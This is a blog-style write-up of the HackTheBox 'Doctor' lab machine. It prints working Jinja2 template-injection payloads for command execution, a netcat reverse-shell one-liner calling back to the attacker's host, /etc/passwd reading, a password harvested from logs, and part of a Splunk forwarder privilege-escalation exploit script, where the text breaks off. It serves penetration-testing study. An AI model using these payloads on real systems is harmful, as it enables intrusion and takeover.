HackTheBox – Doctor

Doctor was recently added to TJ Null’s OSCP list in Nov 2020, although having done it I’m not certain if the PWK actually covers the means of gaining entry. It was something I had not heard of and had to go through many hints only to learn that. Despite this, everything after gaining entry was certainly OSCP-like so it’s worth doing this, especially since one of the priv esc means was something I’ve never quite seen before.

So is this box really Easy? After doing some boxes I got the impression that this rating isn’t because the means of gaining entry is simply but rather because it requires you to exploit one vulnerability instead of chaining together multiple ones in a sequence. So keep that in mind when you see a box with Easy/Medium rating.

Lessons learned

  • Server side template injection
  • Pillaging logs for creds (thanks linpeas!)
  • Enumerating sqlite3 DBs

Enumeration

Just 3 ports open, 22, 80 and 8089.

Web 80

Landing page shows

Just a little down we see an email which gives us a domain

Clicking the links on the site above loads static HTML pages like

  • /services.html
  • /departments.html
  • /contact.html
  • /about.html
  • /blog.html

but all of them just loads the same index.html page as above. dirbuster showed a bunch of pages and dirs.

There was nothing unusual in nikto too. Since we have a domain, we could add it to /etc/hosts to check for vhost routing. Visiting http://doctors.htb showed

And I saw this unusual Web server header in Burp

HTTP/1.1 302 FOUND
Date: Mon, 23 Nov 2020 16:55:09 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Content-Length: 237
Location: http://doctors.htb/login?next=%2F
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiaW5mbyIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.X7vpbQ.7o09cgENWQ3Hy5pqAxghhr4bgj8; HttpOnly; Path=/
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login?next=%2F">/login?next=%2F</a>.  If not click the link.

I tested some common default password and emails (with the domain above)

  • admin@doctors.htb
  • info@doctors.htb

but couldn’t get in. Neither did this respond to SQLi testing or bypass. dirbuster tells us there’s a few more dirs but it took so long I abandoned the scan.

nikto didn’t find anything interesting on this vhost too.

Web 8089

Landing page shows this (I had to specify HTTPS in the URL)

What is splunkd? It’s part of Splunk, which is basically used to search through and monitor logging. Splunk Web runs on TCP 8000 while splunkd on TCP 8089. There wasn’t anything running on TCP 8000 from the outside, which is where Splunk web would normally be. We can see the version here so I did searchsploit.

root@Kali:~/HTB/Doctor# searchsploit splunk
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                             |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Splunk - Remote Command Execution                                                                          | multiple/remote/18245.py
Splunk 4.1.6 - 'segment' Cross-Site Scripting                                                              | multiple/remote/36246.txt
Splunk 4.1.6 Web Component - Remote Denial of Service                                                      | multiple/dos/36247.txt
Splunk 4.3.1 - Denial of Service                                                                           | multiple/dos/38038.txt
Splunk 4.3.3 - Arbitrary File Read                                                                         | multiple/webapps/21053.txt
Splunk 5.0 - Custom App Remote Code Execution (Metasploit)                                                 | multiple/remote/23224.rb
Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting                                                       | php/webapps/40997.txt
Splunk < 7.0.1 - Information Disclosure                                                                    | linux/webapps/44865.txt
Splunk Enterprise - Information Disclosure                                                                 | multiple/webapps/41779.txt
Splunk Enterprise 6.4.3 - Server-Side Request Forgery                                                      | multiple/webapps/40895.py
Splunk Enterprise 7.2.3 - (Authenticated) Custom App Remote Code Execution                                 | windows/webapps/46238.py
Splunk Enterprise 7.2.4 - Custom App Remote Command Execution (Persistent Backdoor / Custom Binary)        | windows/webapps/46487.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

There was nothing specifically for 8.0.5 so I Googled “splunkd 8.0.5 exploit -doctor” and the top link was this. It required the creds to login though

This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system.
This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment.

The screenshot in the article showed the same version as that on the box, so I thought this could be it. However, everywhere I clicked it required the username/password to be entered. I searched for default creds but those didn’t work. So I tried bruteforcing the creds with hydra but it took so long I cancelled it thinking this wasn’t the intended path.

I also dirbusted this Web port in case there were hidden dirs.

Surprisingly there were a lot of hits. robots.txt returned this unhelpfully

User-agent: *
Disallow: /

All the /vX Web dirs just led back to the landing page (note the exact same Response size in dirbuster).

nikto found nothing on the vhost.

root@Kali:~/HTB/Doctor# nikto -h http://doctors.htb:8089
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.209
+ Target Hostname:    doctors.htb
+ Target Port:        8089
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=SplunkServerDefaultCert/O=SplunkUser
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=US/ST=CA/L=San Francisco/O=Splunk/CN=SplunkCommonCA/emailAddress=support@splunk.com
+ Start Time:         2020-11-24 00:53:02 (GMT8)
---------------------------------------------------------------------------
+ Server: Splunkd
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname 'doctors.htb' does not match certificate's names: SplunkServerDefaultCert
+ Allowed HTTP Methods: GET, POST, HEAD, OPTIONS
+ 7945 requests: 8 error(s) and 5 item(s) reported on remote host
+ End Time:           2020-11-24 01:03:34 (GMT8) (632 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Failed Werkzeug exploit

Unsure of what to do, I went back to doctors.htb at port 80 and searchsploit the unusual Web server header (Werkzeug) but didn’t get anywhere.

Logging in to doctors.htb

I tried creating an account

Here I specified

  • Username: attacker
  • Email: attacker@kali.com
  • Password: Password1

then got this message

Your account has been created, with a time limit of twenty minutes!

Logging in showed this

gobuster with cookies

Since we now have an account, our access to the Web site may enable us to visit paths not accessible previously. So let’s gobuster with the authentication cookie. First get it from Firefox torage

This took two hours in total and I couldn’t wait so I cancelled.

root@Kali:~/HTB/Doctor# gobuster dir -u http://doctors.htb -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html,.conf,.bak,.sh,.pl,.cgi --timeout 40s -t 150 -k -c 'session=.eJwlzjsOwjAMANC7ZGZw_InjXqZKYltlbemEuDtIvBO8d9nzjOso2-u841H2p5etjMkI2fvk1qS5L3PSJMNWOwtWiuUQMpWDjZnUdJCn40AI6JgskgaJEXMuWoPVaE0bBtFNE8yxysSsZiu1uQGDqGNoVSEpv8h9xfnfUPl8AZrGLqE.X75vdg.Oy0N9EWdcWiY5e7PYz4dLoMAVaw'
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://doctors.htb
[+] Threads:        150
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] Cookies:        session=.eJwlzjsOwjAMANC7ZGZw_InjXqZKYltlbemEuDtIvBO8d9nzjOso2-u841H2p5etjMkI2fvk1qS5L3PSJMNWOwtWiuUQMpWDjZnUdJCn40AI6JgskgaJEXMuWoPVaE0bBtFNE8yxysSsZiu1uQGDqGNoVSEpv8h9xfnfUPl8AZrGLqE.X75vdg.Oy0N9EWdcWiY5e7PYz4dLoMAVaw
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     cgi,php,txt,html,conf,bak,sh,pl
[+] Timeout:        40s
===============================================================
2020/11/25 22:52:32 Starting gobuster
===============================================================
/archive (Status: 200)
/register (Status: 302)
/home (Status: 200)
/login (Status: 302)
/account (Status: 200)
/logout (Status: 302)
[ERROR] 2020/11/25 23:16:13 [!] Get http://doctors.htb/toaster.pl: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/25 23:25:06 [!] Get http://doctors.htb/mac_mini.txt: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/25 23:33:17 [!] Get http://doctors.htb/text5.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/25 23:40:39 [!] Get http://doctors.htb/page-31.sh: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/25 23:46:11 [!] Get http://doctors.htb/74407.cgi: net/http: requ                                                             est canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/25 23:51:52 [!] Get http://doctors.htb/102120.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/25 23:58:18 [!] Get http://doctors.htb/chat1.conf: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/reset_password (Status: 200)
[ERROR] 2020/11/26 00:14:43 [!] Get http://doctors.htb/pressrev.txt: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/26 00:17:59 [!] Get http://doctors.htb/reden.conf: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/server-status (Status: 403)
[ERROR] 2020/11/26 00:22:36 [!] Get http://doctors.htb/smartdl.sh: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/26 00:22:36 [!] Get http://doctors.htb/ergebnisse.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/26 00:27:49 [!] Get http://doctors.htb/22637.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/26 00:42:02 [!] Get http://doctors.htb/169181.txt: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/26 01:14:52 [!] Get http://doctors.htb/email_cgi.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Progress: 154099 / 207644 (74.21%)^C
[!] Keyboard interrupt detected, terminating.
[ERROR] 2020/11/26 01:25:48 [!] context canceled
===============================================================
2020/11/26 01:25:48 Finished
===============================================================

Checking the page source for /login we see

<div class="collapse navbar-collapse" id="navbarToggle">
            <div class="navbar-nav mr-auto">
              <a class="nav-item nav-link" href="/home">Home</a>
              <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
            </div>
            <!-- Navbar Right Side -->
            <div class="navbar-nav">

Web dir /archive

But there’s nothing in /archive, and the source shows

GET /archive HTTP/1.1
Host: doctors.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiN2U0MWExZDU0OTQ5Y2U0MmM5YjFiOTJlNDBjMTk4YjRjNDgwYWE0ZCJ9.X700mg.-MlV3cPJdNNvGwZznaJOOgIQVXg
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Tue, 24 Nov 2020 16:28:11 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Set-Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiN2U0MWExZDU0OTQ5Y2U0MmM5YjFiOTJlNDBjMTk4YjRjNDgwYWE0ZCJ9.X700mw.foYVk2E7XPJXTWUx1jRAS0fBv10; HttpOnly; Path=/
Connection: close
Content-Length: 101


	<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>

Messaging system

After logging in we see this

We can create a new message and somehow get our links clicked if included in the message.

At my listener I see this and I could even make it click on a document by including the URL in the message.

root@Kali:~/HTB/Doctor# nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.209] 52632
GET / HTTP/1.1
Host: 10.10.14.78
User-Agent: curl/7.68.0
Accept: */*

root@Kali:~/HTB/Doctor# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [27/Nov/2020 01:16:42] "GET /test.txt HTTP/1.1" 200 -

I thought this may be similar to SecNotes but a quick look around I didn’t manage to see where a password could be reset with a GET request.

Update Feb 2021: After the box retired I watched IppSec and found there was a way to leverage on this to get a shell with command injection. The alternate path is worth reading because it seems more OSCP-like than SSTI injection which doesn’t seem to be in the PWK syllabus. And if you’re wondering what exactly is /dev/shm and why its often used as a working dir for post-exploitation it’s because

/dev/shm is nothing but implementation of traditional shared memory concept. It is an efficient means of passing data between programs. One program will create a memory portion, which other processes (if permitted) can access. This will result into speeding up things on Linux.

I tried a couple more things with the notes here, testing if this was SQL injectible

http://doctors.htb/home?page=1

but I couldn’t recreate the Always False condition and this GET URL

http://doctors.htb/home?page=1%20UNION%20SELECT%20null,null.null,null,null,null,null,null,null,null,null,null,null;--%20-

didn’t change no matter how many nulls I added. I did notice however, that posting notes/messages made their titles appear in /archive

HTTP/1.1 200 OK
Date: Tue, 24 Nov 2020 17:29:18 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Connection: close
Content-Length: 258


	<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>sfas</title></item>

			</channel>
			<item><title>title2</title></item>

			</channel>
			<item><title>ttile3</title></item>

			</channel>

I tested XXE injection like in DevOops but realised quickly I wasn’t able to inject anything that could cause code LFI code execution or figure out the syntax.

SST injection – Server-side template injection

Now this is something either you know or don’t. While /archive wasn’t vulnerable to XXE it was vulnerable to SSTI. I know this only after extensive reading through the HTB forum convinced me it wasn’t something I already knew. These three links help to explain it. Some Youtube search found that John Hammond had done this on picoCTF2018 with a setup which looks very similar to the Doctors’ messaging system. I would also recommend this video where the author throws a bunch of payloads to determine what type of SSTI works. You can find the various payloads for the different SSTI types here.

I submitted this payload.

and when visiting /archive I see code execution

HTTP/1.1 200 OK
Date: Fri, 27 Nov 2020 06:50:44 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Connection: close
Content-Length: 155


    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version=	"2.0">
    <channel>
 	<title>Archive</title>
 	<item><title>7777777</title></item>

            </channel>

which tells us this is type jinja2 SSTI. So I tried {{config.items()}} and it returned this which can be decoded in burp

dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', '1234'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MAIL_PASSWORD', 'doctor'), ('MAIL_PORT', 587), ('MAIL_SERVER', ''), ('MAIL_USERNAME', 'doctor'), ('MAIL_USE_TLS', True), ('SQLALCHEMY_DATABASE_URI', 'sqlite://///home/web/blog/flaskblog/site.db'), ('WTF_CSRF_CHECK_DEFAULT', False), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', None), ('SQLALCHEMY_ENGINE_OPTIONS', {})])

A few interesting things stand out. We can see a path to a DB situated in a user’s home dir.

sqlite://///home/web/blog/flaskblog/site.db

RCE

Time to enumerate some more with SSTI. Tried the following, didn’t get anywhere

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

then I googled “jinja ssti payload” and got this hit. I tried one of the RCE payloads there

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

and got shell code execution.

<?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
 	<title>Archive</title>
 	<item><title>uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
</title></item>

            </channel>

I could LFI /etc/passwd with

{{request.application.globals.builtins.import('os').popen('cat /etc/passwd').read()}}
<?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
 	<title>Archive</title>
 	<item><title>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
web:x:1001:1001:,,,:/home/web:/bin/bash
_rpc:x:126:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:127:65534::/var/lib/nfs:/usr/sbin/nologin
exim:x:31:31:Exim Daemon:/dev/null:/bin/false
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
</title></item>

            </channel>

and most importantly I could ping myself with

{{request.application.globals.builtins.import('os').popen('ping -c 4 10.10.14.78').read()}}

this gives

root@Kali:~/HTB/Doctor# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
15:18:45.357443 IP doctors.htb > 10.10.14.78: ICMP echo request, id 1, seq 1, length 64
15:18:45.357530 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 1, seq 1, length 64
15:18:46.389689 IP doctors.htb > 10.10.14.78: ICMP echo request, id 1, seq 2, length 64
15:18:46.389715 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 1, seq 2, length 64
15:18:47.359271 IP doctors.htb > 10.10.14.78: ICMP echo request, id 1, seq 3, length 64
15:18:47.359330 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 1, seq 3, length 64
15:18:48.360264 IP doctors.htb > 10.10.14.78: ICMP echo request, id 1, seq 4, length 64
15:18:48.360306 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 1, seq 4, length 64
15:18:48.415973 IP doctors.htb > 10.10.14.78: ICMP echo request, id 2, seq 1, length 64
15:18:48.416001 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 2, seq 1, length 64
15:18:49.417873 IP doctors.htb > 10.10.14.78: ICMP echo request, id 2, seq 2, length 64
15:18:49.417892 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 2, seq 2, length 64
15:18:50.418719 IP doctors.htb > 10.10.14.78: ICMP echo request, id 2, seq 3, length 64
15:18:50.418729 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 2, seq 3, length 64
15:18:51.421844 IP doctors.htb > 10.10.14.78: ICMP echo request, id 2, seq 4, length 64
15:18:51.421866 IP 10.10.14.78 > doctors.htb: ICMP echo reply, id 2, seq 4, length 64

RCE to shell

From this it’s easy to go from RCE to shell with the OpenBSD netcat reverse shell.

{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f').read()}}

which gives us a shell

root@Kali:~/HTB/Doctor# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.209] 43364
bash: cannot set terminal process group (915): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$

Post-exploitation

I ran linpeas and lse. Wasn’t able to sudo anything because that required password. I found hashed creds to the Web portal but couldn’t crack them. Although I did learn how to read sqlite3 DBs with SQLAlchemy. Python. Apache vhost config is here but I didn’t find anything interesting. There was something which appeared interesting in /opt but it turned out to be the same as the DB with the Web portal creds. Lastly I checked for services listening to localhost but went nowhere.

Escalate to shaun

I got stuck here for a long time since I couldn’t priv esc to any user. The key is to do id and check that we belong to the adm group, which allows us to read most logs in /var/log. linpeas was really helpful here and highlighted this in its output

[+] Finding passwords inside logs (limit 70)
Binary file /var/log/apache2/access.log.12.gz matches
Binary file /var/log/journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches
Binary file /var/log/journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001.journal matches
Binary file /var/log/kern.log.2.gz matches
Binary file /var/log/kern.log.4.gz matches
Binary file /var/log/syslog.4.gz matches
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
/var/log/auth.log.1:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
/var/log/auth.log.1:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2

Someone had apparently submitted a POST request to /reset_password but somehow specified “Guitar123” as the email. This was odd, since when I checked /reset_password it showed this.

entering any email and checking how the response is processed in Burp showed that there was no parameter passed to email with POST in the url

POST /reset_password HTTP/1.1
Host: doctors.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://doctors.htb/reset_password
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Connection: close
Cookie: session=.eJwljjtqBTEMAO_iOoUsWb93mUW2JRICCey-V4XcPQspZ4phftpRZ17v7fE8X_nWjo_dHm1idWWkGRscCHFFFeCidNwlaYAonWLqNBzs4oNVfGvmnuQ0oockEcyFCJjKSmwU0LGEF9Y0B2QzmIixfS9eVrzCdDpkb_fI68rz_wZvXNdZx_P7M79uoXWHoPOoIBsKfagadzesQbGpwEtFpP3-AU9tPTQ.X8ykdQ.22LS1qwUHbbzfY4GCavYX6ZsqSA
Upgrade-Insecure-Requests: 1

csrf_token=IjdmMDEyMDE1NGZhMzg0NzAxNDc3ODUxOTgyZjQzYWQzZjA5Zjc2NjYi.X8ykog.5FHWALNSa9dF-xmD-WnVSfrA4q8&email=admin%40doctor.htb&submit=Request+Password+Reset

Looking at the exact line in the logs I see

10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

So could this be shaun’s password, I tested it and was able to switch to him.

web@doctor /var/log/apache2 $ su - shaun
Password:
shaun@doctor:~$

Escalate to root

Unfortunately, shaun couldn’t run sudo on the box. While inside the box as web I noticed splunkd (TCP 8089 above) was running as root.

root        1139  0.1  2.1 257468 85028 ?        Sl   07:35   0:03 splunkd -p 8089 start

so the splunkd service was meant to be a root priv esc vector. We still need a password though. I googled online to see where I could mine the password and found this

Splunk passwords are stored in a hashed form in $SPLUNK_HOME/etc/passwd. This file uses the same format as the /etc/passwd file you would find on any typical Linux system. However, the hashed passwords for Splunk are stored directly in the passwd file as opposed to in an equivalent to the /etc/shadow file.

I found the file but unfortunately it was readable only by root.

shaun@doctor:/opt/splunkforwarder/etc$ ls -lah passwd
-rw------- 1 root root 164 Sep  6 17:57 passwd

But what if the splunkd username was also changed despite this from Hack Tricks.

The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher.

So I tried logging with shaun/Guitar123 and it actually worked! Wow that would teach me not to take what I read online too literally. It showed this.

Now we can make use of the exploit found earlier. The writeup links to this script and I opted for the local script because this was for priv esc. I found quickly that I had to use Python 3 because the Python 2.7 installed on target didn’t have the Requests library

shaun@doctor:/tmp$ ./PySplunkWhisperer2_local.py -h
Traceback (most recent call last):
  File "./PySplunkWhisperer2_local.py", line 5, in 
    import requests
ImportError: No module named requests

We can use 2to3-2.7 to convert the script to Python 3 compatible.

shaun@doctor:/tmp$ 2to3-2.7 -w PySplunkWhisperer2_local.py
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: Refactored PySplunkWhisperer2_local.py
--- PySplunkWhisperer2_local.py (original)
+++ PySplunkWhisperer2_local.py (refactored)
@@ -51,7 +51,7 @@
 parser.add_argument('--payload-file', default="pwn.bat")
 options = parser.parse_args()

-print "Running in local mode (Local Privilege Escalation)"
+print("Running in local mode (Local Privilege Escalation)")
 options.host = "127.0.0.1"

 SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, )
@@ -60,41 +60,41 @@
 s.auth = requests.auth.HTTPBasicAuth(options.username, options.password)
 s.verify = False

-print "[.] Authenticating..."
+print("[.] Authenticating...")
 req = s.get(SPLUNK_BASE_API)
 if req.status_code == 401:
-    print "Authentication failure"
-    print ""
-    print req.text
+    print("Authentication failure")
+    print("")
+    print(req.text)
     sys.exit(-1)
-print "[+] Authenticated"
+print("[+] Authenticated")

-print "[.] Creating malicious app bundle..."
+print("[.] Creating malicious app bundle...")
 BUNDLE_FILE = create_splunk_bundle(options)
-print "[+] Created malicious app bundle in: " + BUNDLE_FILE
+print("[+] Created malicious app bundle in: " + BUNDLE_FILE)

 lurl = BUNDLE_FILE

-print "[.] Installing app from: " + lurl
+print("[.] Installing app from: " + lurl)
 req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True})
 if req.status_code != 200 and req.status_code != 201:
-    print "Got a problem: " + str(req.status_code)
-    print ""
-    print req.text
-print "[+] App installed, your code should be running now!"
